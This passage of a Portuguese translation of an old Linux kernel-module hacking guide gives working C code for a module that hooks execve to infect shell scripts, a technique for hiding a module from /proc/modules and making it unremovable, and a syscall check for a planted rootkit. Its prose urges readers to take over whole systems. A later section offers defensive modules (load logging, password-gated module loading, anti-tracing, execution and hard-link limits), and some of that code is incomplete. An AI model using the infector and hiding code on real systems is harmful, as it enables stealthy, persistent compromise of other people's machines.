é começado, isto primeiro começa nossa parte adicionada e então o programa original (só um 
esquema de vírus básico). Todos nós sabemos que há alguns Linux / unix vírus existentes 
lá fora, assim por que nao tentarmos usar LKMs q não infecte nossos 'elf' executaveis
e só modules. Nos poderiamos infectar nossos executaveis, de um modo que eles conferem 
para UID=0 e então carregam nosso módulo de infecção novamente... Eu espero que você 
entenda a idéia geral.  
Eu tenho que admitir, que a modificação precisou de arquivos 'elf' e é bastante enganador, 
mas com bastante tempo você poderia fazer isto (entao dê uma olhada em vírus de Linux 
existentes). Em primeiro lugar você tem que conferir o tipo de arquivo que vai ser executado
através de sys_execve(...). Há vários modos de se fazer isto; um do mais rápidos eh
ler alguns bytes do arquivo e os conferindo contra o ELF string.
Depois disto pode usar você write(...) / read(...) / ... chamadas para modificar o arquivo,
olhe o infector de LKM para ver como fazer isto. Minha teoria ficaria teoria sem qualquer 
prova, assim eu apresento um LKM *script* infector, muito fácil e inútil. Você não pode 
fazer vírus com isto, entao infecte uma escritura com certos comandos e nada mais; 
nenhuma caracteristica real de vírus. Eu lhe mostro este exemplo como um conceito de 
LKMs que infecta qualquer arquivo q você executa. Até mesmo poderiam ser infetados 
arquivos em Java, por causa das características providas pelo Kernel.
Aqui vem a pequena escritura do LKM infector: 

#define __KERNEL__
#define MODULE

/*taken from the original LKM infector; it makes the whole LKM a lot easier*/
#define BEGIN_KMEM {unsigned long old_fs=get_fs();set_fs(get_ds());
#define END_KMEM   set_fs(old_fs);}

#include <linux/version.h>
#include <linux/mm.h>
#include <linux/unistd.h>
#include <linux/fs.h>
#include <linux/types.h>
#include <asm/errno.h>
#include <asm/string.h>
#include <linux/fcntl.h>
#include <sys/syscall.h>
#include <linux/module.h>
#include <linux/malloc.h>
#include <linux/kernel.h>
#include <linux/kerneld.h>

int __NR_myexecve;

extern void *sys_call_table[];

int (*orig_execve) (const char *, const char *[], const char *[]);

int (*open)(char *, int, int);
int (*write)(unsigned int, char*, unsigned int);
int (*read)(unsigned int, char*, unsigned int);
int (*close)(int);


/*see II.4.2 for explanation*/
int my_execve(const char *filename, const char *argv[], const char *envp[])
{
    long __res;
    __asm__ volatile ("int $0x80":"=a" (__res):"0"(__NR_myexecve), "b"((long) (filename)), "c"((long) (argv)), "d"((long) (envp)));
    return (int) __res;
}

/*infected execve systemcall + infection routine*/
int hacked_execve(const char *filename, const char *argv[], const char *envp[])
{
 char *test, j;
 int ret;
 int host = 0;

 /*just a buffer for reading up to 20 files (needed for identification of
 execute file*/
 test = (char *) kmalloc(21, GFP_KERNEL);

 /*open the host script, which is going to be executed*/
 host=open(filename, O_RDWR|O_APPEND, 0640);

 BEGIN_KMEM

 /*read the first 20 bytes*/
 read(host, test, 20);  

 /*is it a normal shell script (as you see, you can modify this for *any*
 executable*/
 if (strstr(test, "#!/bin/sh")!=NULL)
 { 
  /*a little debug message*/
  printk("<1>INFECT !\n"); 
  /*we are friendly and attach a peaceful command*/
  write(host, "touch /tmp/WELCOME", strlen("touch /tmp/WELCOME"));
 }
 END_KMEM
 /*modification is done, so close our host*/
 close(host);
 /*free allocated memory*/ 
 kfree(test);
 /*execute the file (the file is execute WITH the changes made by us*/
 ret = my_execve(filename, argv, envp);
 return ret;
}


int init_module(void)                /*module setup*/
{
 __NR_myexecve = 250;
 while (__NR_myexecve != 0 && sys_call_table[__NR_myexecve] != 0)
  __NR_myexecve--;
 orig_execve = sys_call_table[SYS_execve];
 if (__NR_myexecve != 0) 
 {
  printk("<1>everything OK\n");
  sys_call_table[__NR_myexecve] = orig_execve; 
  sys_call_table[SYS_execve] = (void *) hacked_execve;
 }

 /*we need some functions*/
 open = sys_call_table[__NR_open]; 
 close = sys_call_table[__NR_close];     
 write = sys_call_table[__NR_write];
 read = sys_call_table[__NR_read];
 return 0;
}

void cleanup_module(void)            /*module shutdown*/
{
 sys_call_table[SYS_execve]=orig_execve;                                      
}

É muito fácil desperdiçar algumas palavras nisto. Claro que, este módulo não 
precisa de kerneld para funfar (interessante para Kerneis sem apoios de kerneld)
Eu espero que você adquira a idéia em infectar qualquer executável, este é um método 
muito forte de sistemas grandes mortais. 

8.2 Como um virus de LKM nos ajuda a entrar 

Como você deve saber, coders de vírus não são hackers, assim isso cobre características 
interessantes para hackers. Pense neste problema (só dez segundos), você deveria perceber,
que um sistema inteiro pudesse ser seu introduzindo um trojan (infectado) LKM. Lembre-se
de todos o hacks agradáveis q nós discutimos até agora. Ainda q sem trojans você poderia 
hackear um sistema com LKMs. Entao use um transbordamento local mais amarelo para carregar um 
LKM em seu directoy Home. Acredite, é mais fácil de infectar um sistema com um LKM realmente
bom do que fazendo os mesmos eskemas novamente e novamente como root. É mais elagente 
deixar o LKM fazer o trabalho para você. Seja CRIATIVO... :-)

9. Fazendo nosso LKM invisível & irremovivel 

Agora é hora de começar a falar sobre o mais importante e interessante no Hack. 
Eu apresentarei. Esta idéia vem do LKM q plaguez publicou na Phrack (outras 
pessoas como Solar Designer discutiu isto antes...).  
Facilmente nós podemos esconder arquivos, processos, diretórios, e tudo que que nós queremos. 
Mas nós não podemos esconder nosso próprio LKM. Entao carregue um LKM e dê uma olhada em 
/proc/modules. Há muitos meios p/ nós podermos resolver este problema. A primeira solução 
poderia ser um arquivo parcial que esconde (veja II.4.3). Isto seria fácil implementar, mas 
há um modo melhor mais avançado e seguro. Usando esta técnica você também têm que interceptar 
o systemcall sys_query_module(...). Um exemplo desta aproximação pode ser visto em A-b.
Como eu expliquei em I.1 que um módulo está finalmente carregado emitindo um systemcall 
init_module(...) que começará a função de init do módulo. init_module(...) adquire um 
argumento: struct mod_routines *routines. Esta estrutura contém informaçoes muito importantes 
q carregam o LKM. É possível para nós manipular alguns dados de certo modo desta estrutura nosso 
módulo nao terá nenhum nome e nenhuma referência. Depois deste o sistema já não mostrará nosso LKM 
em /proc/modules, porque ignora LKMs sem nome e uma conta de refernce igual para 0. 
O espetáculo de linhas seguinte como ter acesso a parte de mod_routines para esconder 
o módulo. 

/*from Phrack & AFHRM*/
int init_module()
{
  register struct module *mp asm("%ebp");   // or whatever register it is in
  *(char*)mp->name=0;
  mp->size=0;
  mp->ref=0;
 ...

Este código confia no fato de gcc não manipular o registrador 'ebp' porque nós precisamos 
disto para achar a localização de memória certa. Depois de achar a estrutura nós podemos 
fixar o nome da estrutura e membros de referências para 0 que fará nosso módulo invisível 
e também irremovivel, porque você pode remover só LKMs que o kernel conhece, mas nosso 
módulo é desconhecido para o kernel. Lembre-se que este truque só funciona se você usa 
gcc de modo que não toque o registro que você precisa ter acesso por adquirir a estrutura. Vc
tem que usar as opções de gcc seguintes: 

# gcc -c -O3 -fomit-frame-pointer module.c 

fomit-frame-pointer diz p/ cc q não mantém ponteiro de armação em registros para funções 
que não precisam de um. Isto mantém nosso registro limpe depois da chamada de função de 
init_module(...), de forma que nós podemos ter acesso a estrutura. Na minha opinião este 
é o truque mais importante, porque nos ajuda desenvolver LKMs escondidos que sao também 
irremoviveis.
 
10. Outros modos de abusar do Kerneldaemon 

Em II.8 você viu um modo de abusar kerneld. Nos ajudou a efetuar o infector de LKM. 
Também poderia ser útil para nosso backdoor de LKM (veja II.5.1). Imagine o socketcall 
que carrega um módulo em vez de começar nosso shellscript de backdoor ou programa. 
Você poderia carregar um módulo que adiciona uma entrada para passwd ou inetd.conf. Depois 
de carregar este segundo LKM você têm muitas possibilidades de systemfiles variável. 
Novamente, seja criativo. 

11. Como fazer para checar a presenca de nosso LKM 

Nós aprendemos muitos modos do qual um módulo pode nos ajudar a subverter um sistema. 
Assim imagine se vc coda uma ferramenta de backdoor agradável (ou leva uma q ja existe)
que não é implementado no LKM q vc usa naquele sistema; só algo como pingd, WWW remote 
shell, shell,.... Como você pode conferir depois de anotar no sistema que seu LKM ainda 
está funcionando? Imagine o que aconteceria se você entra em uma sessão e o admin está 
esperando por você sem seu LKM carregado (assim nenhum processo eh escondido etc.). Assim 
você começa fazendo o trabalho naquele sistema (lendo seus próprios logs, conferindo um 
pouco de tráfico de correio e assim por diante) e todo passo é monitorado pelo admin. 
Bem nenhuma situação boa, nós temos que saber que nosso LKM está funcionando com uma checagem
simples. Eu suponho q o modo seguinte é uma solução boa(embora possa haver muitos outros bons):
 
   - implemente um systemcall especial em seu módulo 
   - escreva um programa user space que cheque aquele systemcall 

Aqui esta um módulo que implementa nosso ' check systemcall ': 

#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/kernel.h>
#include <asm/unistd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <asm/fcntl.h>
#include <asm/errno.h>
#include <linux/types.h>
#include <linux/dirent.h>
#include <sys/mman.h>
#include <linux/string.h>
#include <linux/fs.h>
#include <linux/malloc.h>

#define SYS_CHECK 200

extern void* sys_call_table[];


int sys_check()
{
 return 666;    
}

int init_module(void)                /*module setup*/
{
 sys_call_table[SYS_CHECK]=sys_check;
 return 0;
}

void cleanup_module(void)            /*module shutdown*/
{}

Se você emite um systemcall com o número 200 em eax nós deveríamos adquirir um retorno de 
666. Aqui esta nosso programa user space que serve para isto: 

#include <linux/errno.h>
#include <sys/syscall.h>
#include <errno.h>

extern void *sys_call_table[];

int check()
{   
 __asm__("movl $200,%eax
         int $0x80");
}

main()
{
 int ret;
 ret = check();
 if (ret!=666) 
  printf("Our module is *not* present !!\n");
 else
  printf("Our module is present, continue...\n");
}

Na minha opinião este é um dos modos mais fáceis de conferir a presenca de nosso LKM, 
entao tente. 

III. Solucoes (para admins)
 
1. LKM Detector Teoria & Ideias  
  
Acho q esta na hora de ajudar admins que querem seguranca em 
seu sistema contra LKMs hostis. Antes de explicar algumas 
teorias lembre-se do seguinte para um sistema seguro: 

   * nunca instale qualquer LKM q vc não tem os fontes (
     claro que, isto tambem eh pertinente para executaveis) 
   * se vc tem os fontes, os confira (se poder). Lembre-se do
     problema de trojan de tcpd. Pacotes de software grandes 
     são principalmente bastante complexos de entender, mas se 
     vc precisa de um sistema seguro vc deve analisa o codigo
     -fonte. 

Ate mesmo se vc segue essas dicas, poderia ser possivel que um 
intruso ative um LKM em seu sistema (overflows,exploitacao etc.).
Aih poderiamos fazer um LKM que loga todo modulo carregado,e 
negue toda tentativa de carga de um diretorio diferente de um
seguro (evitar overflows simples; isso não eh nenhum modo perfeito
...). Logar os modulos pode ser feito facilmente interceptando o 
systemcall create_module(...). O mesmo modo que vc poderia conferir
o diretorio de onde o modulo carregado vem.  
Tb seria possivel negar carregar qualquer modulo , mas este eh um 
modo muito ruim, porque vc realmente precisa deles. Assim poderiamos
modificar o modulo que o carrega de certo modo para prover um 
password que será conferido em seu create_module(...) interceptado. 
Se o password está correta o modulo será carregado, se não será 
derrubado. Deveria estar claro que vc tem que esconder seu LKM para 
fazer isto irremovivel. Assim demos uma olhada em algumas 
implementacoes de prototipo do LKM q atribui o password  ao systemcall
create_module(...). 

1.1 Exemplo prático de um Detector de prototipo 

Nada para dizer sobre aquela implementacão simples, soh intercepta 
sys_create_module(...) e loga os nomes de modulos que estavam 
carregados. 

#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/kernel.h>
#include <asm/unistd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <asm/fcntl.h>
#include <asm/errno.h>
#include <linux/types.h>
#include <linux/dirent.h>
#include <sys/mman.h>
#include <linux/string.h>
#include <linux/fs.h>
#include <linux/malloc.h>

extern void* sys_call_table[];


int (*orig_create_module)(char*, unsigned long);


int hacked_create_module(char *name, unsigned long size)
{
 char *kernel_name;
 char hide[]="ourtool";
 int ret;
 
 kernel_name = (char*) kmalloc(256, GFP_KERNEL);
 memcpy_fromfs(kernel_name, name, 255);

 /*here we log to syslog, but you can log where you want*/
 printk("<1> SYS_CREATE_MODULE : %s\n", kernel_name);
 
 ret=orig_create_module(name, size);
 return ret;
}


int init_module(void)                /*module setup*/
{
 orig_create_module=sys_call_table[SYS_create_module];
 sys_call_table[SYS_create_module]=hacked_create_module;
 return 0;
}

void cleanup_module(void)            /*module shutdown*/
{
 sys_call_table[SYS_create_module]=orig_create_module; 
                               
}

Isto eh tudo que vc precisa, claro que vc deveria somar as linhas
requeridas para esconder o modulo, mas este não eh nenhum problema.
Depois de fazer isto deste modo irremovivel, um hacker pode modificar
so o arquivo de log, mas vc tb poderia economizar seus logs, para um
aruivo inacessivel para o hacker (veja II.1 para truques exigidos). 
Claro que vc tb pode interceptar sys_init_module(...) que tb mostraria
todo modulo, que eh justo um assunto interessante. 

1.2 Exemplo prático de protecao a prototipo password create_module(...)
 
Esta subsecão tratará da possibilidade de somar autenticacão para 
modulos inicializaveis . Nos precisamos de duas coisas para administrar
esta tarefa: 

  * um modo para conferir modulos carregaveis (fácil) 
  * um modo para autenticar (bastante dificil) 

O primeiro ponto eh muito fácil codificar, soh interceptar 
sys_create_module(...) e conferir alguma variável que conta o kernel
wether, este processo de carga eh legal. Mas como fazer autenticação.
Eu tenho que admitir que eu não gastei muitos segundos em pensar neste
problema, assim a solucão eh mais que ruim, mas este eh um artigo de 
LKM, assim use seu cerebro, e cria algo melhor. Meu modo para fazer 
isto, era interceptar o systemcall stat(...) que eh usado quando vc
digita qlq comando, e as necessidades do sistema para procurar isto. 
Tão tipo, soh um password como comando e o LKM conferiráh isto 
interceptando 'stat' [eu sei que isto eh mais que inseguro; ate mesmo
um autor de Linux poderia derrotar este esquema de autenticacão, mas
(novamente) este não eh o ponto aqui...]. De uma olhada em minha 
implemtacao (eu rasguei muitos LKMs existentes, um atraves de 
plaguez...): 

#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/kernel.h>
#include <asm/unistd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <asm/fcntl.h>
#include <asm/errno.h>
#include <linux/types.h>
#include <linux/dirent.h>
#include <sys/mman.h>
#include <linux/string.h>
#include <linux/fs.h>
#include <linux/malloc.h>
#include <sys/stat.h>


extern void* sys_call_table[];

/*if lock_mod=1 THEN ALLOW LOADING A MODULE*/
int lock_mod=0;

int __NR_myexecve;

/*intercept create_module(...) and stat(...) systemcalls*/
int (*orig_create_module)(char*, unsigned long);
int (*orig_stat) (const char *, struct old_stat*);

char *strncpy_fromfs(char *dest, const char *src, int n)
{
 char *tmp = src;
 int compt = 0;

 do {
  dest[compt++] = __get_user(tmp++, 1);
 }
 while ((dest[compt - 1] != '\0') && (compt != n));

 return dest;
}

int hacked_stat(const char *filename, struct old_stat *buf)
{
 char *name;
 int ret;
 char *password = "password"; /*yeah, a great password*/

 name    = (char *) kmalloc(255, GFP_KERNEL);

 (void) strncpy_fromfs(name, filename, 255);

 /*do we have our password ?*/
 if (strstr(name, password)!=NULL) 
 { 
  /*allow loading a module for one time*/
  lock_mod=1; 
  kfree(name);
  return 0;
 } 
 else 
 {
  kfree(name);
  ret = orig_stat(filename, buf);
 }
 return ret;
}

int hacked_create_module(char *name, unsigned long size)
{
 char *kernel_name;
 char hide[]="ourtool";
 int ret;
 
 if (lock_mod==1)
 {
  lock_mod=0;
  ret=orig_create_module(name, size);
  return ret;
 }
 else
 {
  printk("<1>MOD-POL : Permission denied !\n");
  return 0;
 }
 return ret;
}


int init_module(void)                /*module setup*/
{
 __NR_myexecve = 200;

 while (__NR_myexecve != 0 && sys_call_table[__NR_myexecve] != 0)
  __NR_myexecve--;
 
 sys_call_table[__NR_myexecve]=sys_call_table[SYS_execve];                                       

 orig_stat=sys_call_table[SYS_prev_stat];
 sys_call_table[SYS_prev_stat]=hacked_stat;

 orig_create_module=sys_call_table[SYS_create_module];
 sys_call_table[SYS_create_module]=hacked_create_module;

 printk("<1>MOD-POL LOADED...\n");
 return 0;
}

void cleanup_module(void)            /*module shutdown*/
{
 sys_call_table[SYS_prev_stat]=orig_stat;                                      
 sys_call_table[SYS_create_module]=orig_create_module;                                      
}

Este codigo parece bem claro. A lista seguinte lhe conta o que 
melhorar neste LKM para fazer isto mais seguro, talvez um pouco
paranóico:): 

  * ache outro modo para autenticar (use sua propria interface user
    space, com seus proprios systemcalls; use userID (não soh um 
    password); talvez vc tem um device de biometric - > leia 
    documentacão e codifique seu device-driver para Linux e use;)...)
    MAS LEMBRE-SE: a protecão de hardware mais segura (dongles,
    biometric, podem ser derrotados frequentemente, sistemas de 
    smartcard por causa de uma interface de software muito insegura;.
    Vc poderia afiancar seu sistema inteiro com um mecanismo assim.
    Controle seu kernel inteiro com um smartcard:) 
  * Outro não assim 'extremo' modo seria implementar seu proprio 
    systemcall que seria responsável pela autenticacão. (veja II.11
    para um exemplo de como criar seu proprio systemcall). 
  * ache um modo melhor para se registrar sys_create_module(...). 
    Conferir uma variável não eh muito seguro, se alguem arraigasse 
    seu sistema ele poderia consertar a memoria (veja a proxima parte) 
  * ache um modo para fazer isto impossivel para um atacante sem usar
    autenticacão para inicializa o LKM dele 
  * adicione caracteristicas ocultas ao LKM 
  * ...

Como vc pode ver, há muito trabalho a fazer. Mas ate mesmo com esses 
passos, seu sistema nao esta totalmente seguro. Se alguem hackeo o 
sistema ele poderia achar outros truques para carregar o LKM dele 
(veja proxima parte); talvez ele não precisa de um LKM ateh mesmo,
porque ele soh arraigou o sistema, e não quer esconder
arquivos/processos (e as outras coisas de wonderfull possiveis com 
LKMs). 

2. Ideias de Anti-LKM-Infector 

   * o residente de memoria (realtime) scanner (como TSR virus 
     scanner em DOS ou VxD scanner virus em WIN9x) 
   * scanner q confere arquivo (conferindo arquivos de modulo 
     a procura de sinais de uma infeccao)
 
O primeiro metodo eh possivel por interceptar sys_create_module 
(ou o chamam de init_module). 
A segunda aproximacão, precisa de alguma caracteristica que vc 
pode achar em qlq arquivo infectado. Nos sabemos que o infector
de LKM junta dois arquivos de modulo. Assim nos podemos conferir
para duas ELF headers/signatures. Claro que, qlqr outro infector
de LKM poderiam usar um metodo melhorado (encryption, selfmodifying
code etc.). Eu não apresentarei um scanner q confere arquivo, porque
há pouco vou escrever um programa (user space) que le o modulo, e 
confere os arquivos ELF headers (o 'ELF' string,por exemplo). 

3. Faca seus programas sem pista (teoria) 

Agora eh tempo para bater hackers que bisbilhotam nossos executaveis. 
Como eu disse antes, strace eh a ferramenta de nossa escolha. 
Eu apresentei isto como uma ferramenta que nos ajuda a ver qual 
systemcalls são usados em certos programas. Outro uso muito interessante
para o  strace eh esbocado no papel 'Human to Unix Hacker' por TICK/THC.
Ele nos mostra como usar strace para sequestrar TTY . Apenas o strace no
seu proximo shell, e vc adiquiri tudo q ele faz. Assim, vc's admins 
deveriam perceber o perigo de strace. 
O programa strace usa a funcão de API seguinte: 

#include <sys/ptrace.h> 

int ptrace(int request, int pid, int addr, int data); 

Bem, como nos podemos controlar strace? Não seja tolo e remova 
strace de seu sistema, mas nao pense q tudo tah ok - como lhe 
mostro ptrace(...) eh uma funcão de biblioteca. Todo hacker pode
codificar o proprio programa dele fazendo igual a strace. Assim 
nos precisamos de uma solucão melhor e mais segura. 
Sua primeira ideia poderia ser procurar um systemcall interessante
que poderia ser responsável para o tracado; há um systemcall que 
faz ; mas olhemos outra aproximacão antes. Lembre-se de II.5.1: eu
falei sobre os flags de tarefa. Havia duas flags que representam 
processos localizados. Neste modo nos podemos controlar o tracado
em nosso sistema. Há pouco, intercepte o systemcall sys_execve(...)
e confira o processo atual para um dos dois jogos de flags.
 
3.1 Exemplo prático de um prototipo Anti-investigador(Anti-Tracer)

Isto eh meu pequeno LKM chamado 'Anti-Tracer'. Isto basicamente 
implementa as ideias de 4. O campo de flags de nosso processo que 
usa o ponteiro atual pode ser facilmente recobrado (estrutura de 
tarefa). O resto não eh nada novo. 

#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/kernel.h>
#include <asm/unistd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <asm/fcntl.h>
#include <asm/errno.h>
#include <linux/types.h>
#include <linux/dirent.h>
#include <sys/mman.h>
#include <linux/string.h>
#include <linux/fs.h>
#include <linux/malloc.h>

extern void* sys_call_table[];

int __NR_myexecve;

int (*orig_execve) (const char *, const char *[], const char *[]);

char *strncpy_fromfs(char *dest, const char *src, int n)
{
 char *tmp = src;
 int compt = 0;

 do {
  dest[compt++] = __get_user(tmp++, 1);
 }
 while ((dest[compt - 1] != '\0') && (compt != n));
  return dest;
}

int my_execve(const char *filename, const char *argv[], const char *envp[])
{
 long __res;
 __asm__ volatile ("int $0x80":"=a" (__res):"0"(__NR_myexecve), "b"((long)
                  (filename)), "c"((long) (argv)), "d"((long) (envp)));
 return (int) __res;
}


int hacked_execve(const char *filename, const char *argv[], const char *envp[])
{
 int ret, tmp;
 unsigned long mmm;
 char *kfilename;

 /*check for the flags*/
 if ((current->flags & PF_PTRACED)||(current->flags & PF_TRACESYS)) { 
  /*we are traced, so print the traced process (program name) and return
  without execution*/
  kfilename = (char *) kmalloc(256, GFP_KERNEL);
  (void) strncpy_fromfs(kfilename, filename, 255);
  printk("<1>TRACE ATTEMPT ON %s -> PERMISSION DENIED\n", kfilename);
  kfree(kfilename);
  return 0;
 }
 ret = my_execve(filename, argv, envp);
 return ret;
}

int init_module(void)                /*module setup*/
{
 __NR_myexecve = 200;
 while (__NR_myexecve != 0 && sys_call_table[__NR_myexecve] != 0)
  __NR_myexecve--;
 orig_execve = sys_call_table[SYS_execve];
 if (__NR_myexecve != 0) 
 {
  sys_call_table[__NR_myexecve] = orig_execve; 
  sys_call_table[SYS_execve] = (void *) hacked_execve;
 }
 return 0;
}

void cleanup_module(void)            /*module shutdown*/
{
 sys_call_table[SYS_execve]=orig_execve;                                      
}

Este LKM tb loga qualquer executável q alguem quis executar com 
tracing. Bem este LKM cheka algumas flags, mas isso se vc comeca 
localizando um programa que já está correndo. Há pouco imagine um
programa (shell ou tudo) correndo com o PID 1853, agora vc faz um
'strace -p 1853'. Isto funcionara. Assim por seguranca o unico 
modo eh enganchar sys_ptrace(...). Olhe o modulo seguinte: 

#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/kernel.h>
#include <asm/unistd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <asm/fcntl.h>
#include <asm/errno.h>
#include <linux/types.h>
#include <linux/dirent.h>
#include <sys/mman.h>
#include <linux/string.h>
#include <linux/fs.h>
#include <linux/malloc.h>

extern void* sys_call_table[];


int (*orig_ptrace)(long request, long pid, long addr, long data);

int hacked_ptrace(long request, long pid, long addr, long data)
{
 printk("TRACING IS NOT ALLOWED\n");
 return 0;
}


int init_module(void)                /*module setup*/
{
 orig_ptrace=sys_call_table[SYS_ptrace];
 sys_call_table[SYS_ptrace]=hacked_ptrace;
 return 0;
}

void cleanup_module(void)            /*module shutdown*/
{
 sys_call_table[SYS_ptrace]=orig_ptrace;                                      
}

Use este LKM e ninguem poderá lhe localizar mais. 

4. Enrigecendo o kernel do Linux com LKMs  

O assunto desta secao pode soar familiar aos leitores da Phrack. 
Route introduziu ideias agradáveis para fazer o sistema de Linux 
mais seguro. Ele usou alguns patch's. Eu quero mostrar que algumas 
ideias tb podem ser implementadas por LKMs. Lembre-se disso sem 
esconder esses LKMs isto tb eh util (esconder, claro que eh algo 
que vc deve fazer), porque os patchs de Route tb são despreziveis 
se alguem hackeasse o sistema; e um usuário nao-privilegiado não 
pode remover nosso LKM, mas ele pode ver isto. 
A vantagem de usar LKMs em vez de um static kernel patch : vc pode
facilmente administrar a seguranca do sistema inteiro, e instalar
mais facilmente em sistemas corrente. Não eh necessário instalar
um kernel novo, em sistemas sensiveis vc precisa de todo segundo.
Os patchs de Phrack tb somaram alguma caracteristica destacando
que eu não implementei, mas há mil modos para fazer isso. 
Um simples modo estaria usando printk(...) [Nota: eu não olhei 
todo aspecto dos patchs de Route. Talvez hackers de kernel 
poderiam fazer mais com LKMs.] 

4.1 Por que nos devemos permitir direitos de execucão de programas
    arbitrários? 

O LKM seguinte eh algo como o patch de kernel de Route que 
confere direitos de execucão: 

#define __KERNEL__
#define MODULE

#include <linux/version.h>
#include <linux/mm.h>
#include <linux/unistd.h>
#include <linux/fs.h>
#include <linux/types.h>
#include <asm/errno.h>
#include <asm/string.h>
#include <linux/fcntl.h>
#include <sys/syscall.h>
#include <linux/module.h>
#include <linux/malloc.h>
#include <linux/kernel.h>
#include <linux/kerneld.h>

/* where the sys_calls are */

int __NR_myexecve = 0;

extern void *sys_call_table[];

int (*orig_execve) (const char *, const char *[], const char *[]);

int (*open)(char *, int, int);
int (*close)(int);


char *strncpy_fromfs(char *dest, const char *src, int n)
{
 char *tmp = src;
 int compt = 0;

 do {
  dest[compt++] = __get_user(tmp++, 1);
 }
 while ((dest[compt - 1] != '\0') && (compt != n));
 return dest;
}

int my_execve(const char *filename, const char *argv[], const char *envp[])
{
 long __res;
 __asm__ volatile ("int $0x80":"=a" (__res):"0"(__NR_myexecve), "b"((long)
 (filename)), "c"((long) (argv)), "d"((long) (envp)));
 return (int) __res;
}

int hacked_execve(const char *filename, const char *argv[], const char *envp[])
{
 int fd = 0, ret;
 struct file *file;

 /*we need the inode strucure*/
 /*I use the open approach here, because you should understand it from the LKM
 infector, read on for seeing a better approach*/
 fd = open(filename, O_RDONLY, 0); 
        
 file = current->files->fd[fd];

 /*is this a root file ?*/
 /*Remember : you can do other checks here (route did more checks), but this
              is just for demonstration. Take a look at the inode structur to
              see other items to heck for (linux/fs.h)*/
 if (file->f_inode->i_uid!=0)
 {
  printk("<1>Execution denied !\n");
  close(fd);
  return -1;
 }
 else /*otherwise let the user execute the file*/
 {
  ret = my_execve(filename, argv, envp);
  return ret;
 }
}

int init_module(void)                /*module setup*/
{
 printk("<1>INIT \n");
 __NR_myexecve = 250;
 while (__NR_myexecve != 0 && sys_call_table[__NR_myexecve] != 0)
  __NR_myexecve--;
 orig_execve = sys_call_table[SYS_execve];
 if (__NR_myexecve != 0) 
 {
  printk("<1>everything OK\n");
  sys_call_table[__NR_myexecve] = orig_execve; 
  sys_call_table[SYS_execve] = (void *) hacked_execve;
 }

 open = sys_call_table[__NR_open]; 
 close = sys_call_table[__NR_close];     
 return 0;
}

void cleanup_module(void)            /*module shutdown*/
{
 sys_call_table[SYS_execve]=orig_execve;                                      
}

Isto não está exatamente igual ao patch de Kernel de Route.
Route conferiu o caminho e nos conferimos o arquivo (um cheque
de caminho tb seria possivel, mas em minha opinião um cheque 
de arquivo eh o modo melhor). Eu soh implementei um cheque 
para UID do arquivo, assim um admin pode filtrar o processo
de execucão do arquivo. Como eu dito o open/fd aproximadamente,
eu usei acima, não eh o modo mais fácil; eu usei isto porque
deveria estar familiarizado a vc (lembre-se, o infector de LKM
usou este metodo). Para nosso proposito a funcão de kernel 
seguinte eh tb possivel (mais fácil modo): 

int namei(const char *pathname, struct inode **res_inode); 

int lnamei(const char *pathname, struct inode **res_inode); 

Essas funcões levam um certo pathname e devolvem o inode 
correspondente a estrutura. A diferenca entre as funcões
sao solucionar bugs no symlink : lnamei não soluciona
um symlink e retorna a estrutura do inode para o proprio 
symlink. Como um hacker vc poderia modificar tb inodes. 
Há pouco os recobre pegando sys_execve(...) e usando 
namei(...) (o modo que nos usamos tb para controlar a 
execucão) e manipular o inode (eu mostrarei um prático
exemplo desta ideia em 5.3). 

4.2 O Remendo de Vinculo ... ("Link Patch") 

Todo usuário de Linux sabe disso, bugs de symlink são algo 
que frequentemente conduz a problemas serios de seguranca 
do sistema. Andrew Tridgell desenvolveu um patch de kernel 
que previne um processo de 'seguindo um link que está em um
+t (principalmente o diretorio /tmp/), a menos que eles 
possuem o link'. Solar Designer somou um codigo que tb 
previne os usuários de criar hard-links em um diretório +t
para arquivos q eles nao possuem . Eu tenho q admiti que 
o symlink conserta bugs em uma capa que nos não podemos
alcancar facilmente atraves de nosso LKM psotion. Lá 
simbolos nao sao exportado, nos nao poderiamos consertar
qlq systemcalls q nos poderiamos interceptar. Solucionar 
o symlink eh acabado pelo VFS. De uma olhada na secao IV
para metodos que poderiam nos ajudar a resolver este problema
(mas eu não iria usar os metodos de IV p/ seguranca de um 
sistema). Vc pode desejar saber por que eu não faco uso do
systemcall sys_readlink(...) para resolver o problema. 
Bem esta chamada eh usada se vc faz um 'ls -a symlink' mas 
não eh chamado se vc emite um 'cat symlink'. Em minha opinião 
vc deveria deixar isto como um patch de kernel. Claro que 
vc pode codificar um LKM que intercepta o systemcall 
sys_symlink(...) em ordem para q impeca um usuário de criar
symlinks no diretório /tmp. Olhe ao duro uma LKM para uma 
implementacão semelhante. Ok, o problema de symlink eh um
pouco dificil de transformar em LKM. Sobre a ideia de Solar
Designer que concerne restricões a hard link . Isto pode 
ser feito como LKM. Nos soh precisamos interceptar 
sys_link(...) que eh responsável por criar qualquer 
hard link. De uma olhada em hacked systemcall (o fragmento
de codigo não faz exatamente igual ao patch de kernel, 
porque nos soh conferimos o diretório '/tmp/' , não o 
bit(+t), apenas pegajoso, isto tb pode ser feito olhando
a estrutura de inode do diretorio [veja 5.1]) : 

int hacked_link(const char *oldname, const char *newname)
{
 char *kernel_newname;
 int fd = 0, ret;
 struct file *file;

 kernel_newname = (char*) kmalloc(256, GFP_KERNEL);
 memcpy_fromfs(kernel_newname, newname, 255);

 /*hard link to /tmp/ directory ?*/
 if (strstr(kernel_newname, (char*)&hide ) != NULL)
 {
  kfree(kernel_newname);

  /*I use the open approach again :)*/
  fd = open(oldname, O_RDONLY, 0); 
       
  file = current->files->fd[fd];

  /*check for UID*/
  if (file->f_inode->i_uid!=current->uid)
  {
   printk("<1>Hard Link Creation denied !\n");
   close(fd);
   return -1;
  }
 }
 else
 {
  kfree(kernel_newname);
  /*everything ok -> the user is allowed to create the hard link*/
  return orig_link(oldname, newname);
 }
}

Deste modo vc tb poderia controlar a criacão de symlink. 

4.3 O /proc Patch permissão (a ideia de route's da Phrack implementado
    como LKM)

Eu já mostrei para vc alguns modos de como esconder algum processo
a ideia de informacao. Route eh diferente quanto ao nosso esconde 
